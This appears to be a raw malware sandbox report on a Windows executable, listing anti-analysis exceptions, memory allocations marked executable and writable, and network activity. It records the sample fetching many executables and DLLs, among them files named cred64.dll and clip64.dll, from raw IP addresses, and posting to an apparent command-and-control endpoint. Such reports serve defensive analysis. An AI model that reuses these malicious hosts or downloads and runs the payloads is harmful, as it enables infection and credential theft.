registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439760
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bdbc9 @ 0x53dbc9
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439552
registers.edi: 1439552
registers.eax: 0
registers.ebp: 1439580
registers.edx: 2
registers.ebx: 4874735
registers.esi: 0
registers.ecx: 1439760
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bdbc9 @ 0x53dbc9
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439552
registers.edi: 1439552
registers.eax: 0
registers.ebp: 1439580
registers.edx: 0
registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439760
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bdbc9 @ 0x53dbc9
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439552
registers.edi: 1439552
registers.eax: 0
registers.ebp: 1439580
registers.edx: 2
registers.ebx: 4874735
registers.esi: 0
registers.ecx: 1439760
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1be8ff @ 0x53e8ff
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439504
registers.edi: 5464204
registers.eax: 0
registers.ebp: 1439532
registers.edx: 2
registers.ebx: 4294901760
registers.esi: 4128768
registers.ecx: 4128768
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1be8ff @ 0x53e8ff
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 0
registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1be9db @ 0x53e9db
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439504
registers.edi: 5464204
registers.eax: 0
registers.ebp: 1439532
registers.edx: 0
registers.ebx: 4294901760
registers.esi: 4128768
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1be9db @ 0x53e9db
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 0
registers.ebx: 4874735
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1be9db @ 0x53e9db
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 2
registers.ebx: 4874735
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beaad @ 0x53eaad
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439504
registers.edi: 5464204
registers.eax: 0
registers.ebp: 1439532
registers.edx: 2
registers.ebx: 4294901760
registers.esi: 4128768
registers.ecx: 1439532
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beaad @ 0x53eaad
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 2
registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beaad @ 0x53eaad
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 2
registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beba7 @ 0x53eba7
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439504
registers.edi: 5464204
registers.eax: 0
registers.ebp: 1439532
registers.edx: 0
registers.ebx: 4294901760
registers.esi: 4128768
registers.ecx: 0
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beba7 @ 0x53eba7
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 0
registers.ebx: 4874735
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beba7 @ 0x53eba7
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 0
registers.ebx: 4874735
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beba7 @ 0x53eba7
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 2
registers.ebx: 4874735
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beba7 @ 0x53eba7
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 0
registers.ebx: 4874778
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1beba7 @ 0x53eba7
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: 0f 0b e8 cd 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x126204
exception.instruction: ud2
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc000001d
exception.offset: 1204740
exception.address: 0x4a6204
registers.esp: 1439504
registers.edi: 1439504
registers.eax: 0
registers.ebp: 1439532
registers.edx: 2
registers.ebx: 4874735
registers.esi: 0
registers.ecx: 1439540
1 0 0

__exception__

 stacktrace: 
eohqhakcbwtb_t1v1y_s+0x1bec3d @ 0x53ec3d
eohqhakcbwtb_t1v1y_s+0x1bcc3e @ 0x53cc3e
eohqhakcbwtb_t1v1y_s+0x1498dc @ 0x4c98dc

exception.instruction_r: f7 f0 e8 f8 2f 01 00 33 c0 5a 59 59 64 89 10 eb
exception.symbol: eohqhakcbwtb_t1v1y_s+0x1261d9
exception.instruction: div eax
exception.module: EOhQhAkcbWTB_T1v1y_S.exe
exception.exception_code: 0xc0000094
exception.offset: 1204697
exception.address: 0x4a61d9
registers.esp: 1439504
registers.edi: 5464204
registers.eax: 0
registers.ebp: 1439532
registers.edx: 0
registers.ebx: 4294901760
registers.esi: 4128768
registers.ecx: 141658896
1 0 0
suspicious_features Connection to IP address suspicious_request HEAD http://109.107.182.3/cost/ko.exe
suspicious_features Connection to IP address suspicious_request GET http://109.107.182.3/cost/ko.exe
suspicious_features Connection to IP address suspicious_request HEAD http://185.215.113.68/mine/amers.exe
suspicious_features Connection to IP address suspicious_request GET http://185.215.113.68/mine/amers.exe
suspicious_features Connection to IP address suspicious_request HEAD http://109.107.182.3/cost/niks.exe
suspicious_features Connection to IP address suspicious_request GET http://109.107.182.3/cost/niks.exe
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://185.215.113.68/theme/index.php
suspicious_features Connection to IP address suspicious_request HEAD http://109.107.182.3/cost/vinu.exe
suspicious_features Connection to IP address suspicious_request GET http://109.107.182.3/cost/vinu.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.215.113.68/mine/stan.exe
suspicious_features Connection to IP address suspicious_request HEAD http://109.107.182.3/cost/networa.exe
suspicious_features Connection to IP address suspicious_request GET http://109.107.182.3/cost/networa.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/installs.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/fsdfsfsfs.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.215.113.68/theme/Plugins/cred64.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/MRK.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/sadsadsadsa.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/Atqumy.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.172.128.19/latestrocki.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.215.113.68/theme/Plugins/clip64.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/moto.exe
suspicious_features Connection to IP address suspicious_request GET http://185.172.128.90/cpa/ping.php?substr=seven&s=ab
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/crypted.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/2024.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/alex.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://109.107.182.3/lego/rdx1122.exe
suspicious_features Connection to IP address suspicious_request GET http://185.172.128.109/syncUpd.exe
request HEAD http://109.107.182.3/cost/ko.exe
request GET http://109.107.182.3/cost/ko.exe
request HEAD http://185.215.113.68/mine/amers.exe
request GET http://185.215.113.68/mine/amers.exe
request HEAD http://109.107.182.3/cost/niks.exe
request GET http://109.107.182.3/cost/niks.exe
request POST http://185.215.113.68/theme/index.php
request HEAD http://109.107.182.3/cost/vinu.exe
request GET http://109.107.182.3/cost/vinu.exe
request GET http://185.215.113.68/mine/stan.exe
request HEAD http://109.107.182.3/cost/networa.exe
request GET http://109.107.182.3/cost/networa.exe
request GET http://109.107.182.3/lego/installs.exe
request GET http://109.107.182.3/lego/fsdfsfsfs.exe
request GET http://185.215.113.68/theme/Plugins/cred64.dll
request GET http://109.107.182.3/lego/MRK.exe
request GET http://109.107.182.3/lego/sadsadsadsa.exe
request GET http://109.107.182.3/lego/Atqumy.exe
request GET http://185.172.128.19/latestrocki.exe
request GET http://185.215.113.68/theme/Plugins/clip64.dll
request GET http://109.107.182.3/lego/moto.exe
request GET http://185.172.128.90/cpa/ping.php?substr=seven&s=ab
request GET http://109.107.182.3/lego/crypted.exe
request GET http://109.107.182.3/lego/2024.exe
request GET http://109.107.182.3/lego/alex.exe
request GET http://109.107.182.3/lego/rdx1122.exe
request GET http://185.172.128.109/syncUpd.exe
request GET https://db-ip.com/demo/home.php?s=175.208.134.152
request GET https://accounts.google.com/
request GET https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F
request GET https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=ASKXGp3H8r8UWuhQ6m2JhTn_UJWtMXXOP18B2sMD6q0yM1EirdCpLoeYafxU7OnBJOlDJRzgLznF
request GET https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp1cKQEpRqzJgd1mJyXaQDg8g6EPaDZyF3Iq1LCz13B1O_GRb-DpHv1Q3bMHBt1iGhMePExXmg&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-435268675%3A1706227291300357
request GET https://accounts.google.com/_/bscframe
request GET https://ssl.gstatic.com/images/branding/googlelogo/2x/googlelogo_color_74x24dp.png
request GET https://accounts.google.com/favicon.ico
request GET https://accounts.google.com/generate_204?Gfi3rg
request GET https://www.google.com/favicon.ico
request POST http://185.215.113.68/theme/index.php
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 2936832
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x008a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02690000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 81920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 147456
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 81920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 475136
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 81920
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1932
region_size: 114688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02db0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2760
region_size: 1708032
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2760
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02660000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7561c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7563c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7561c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7563c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73423000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734c7000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76af9000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75ac2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75602000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2760
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2840
region_size: 2494464
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a70000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2840
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02cd0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2840
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
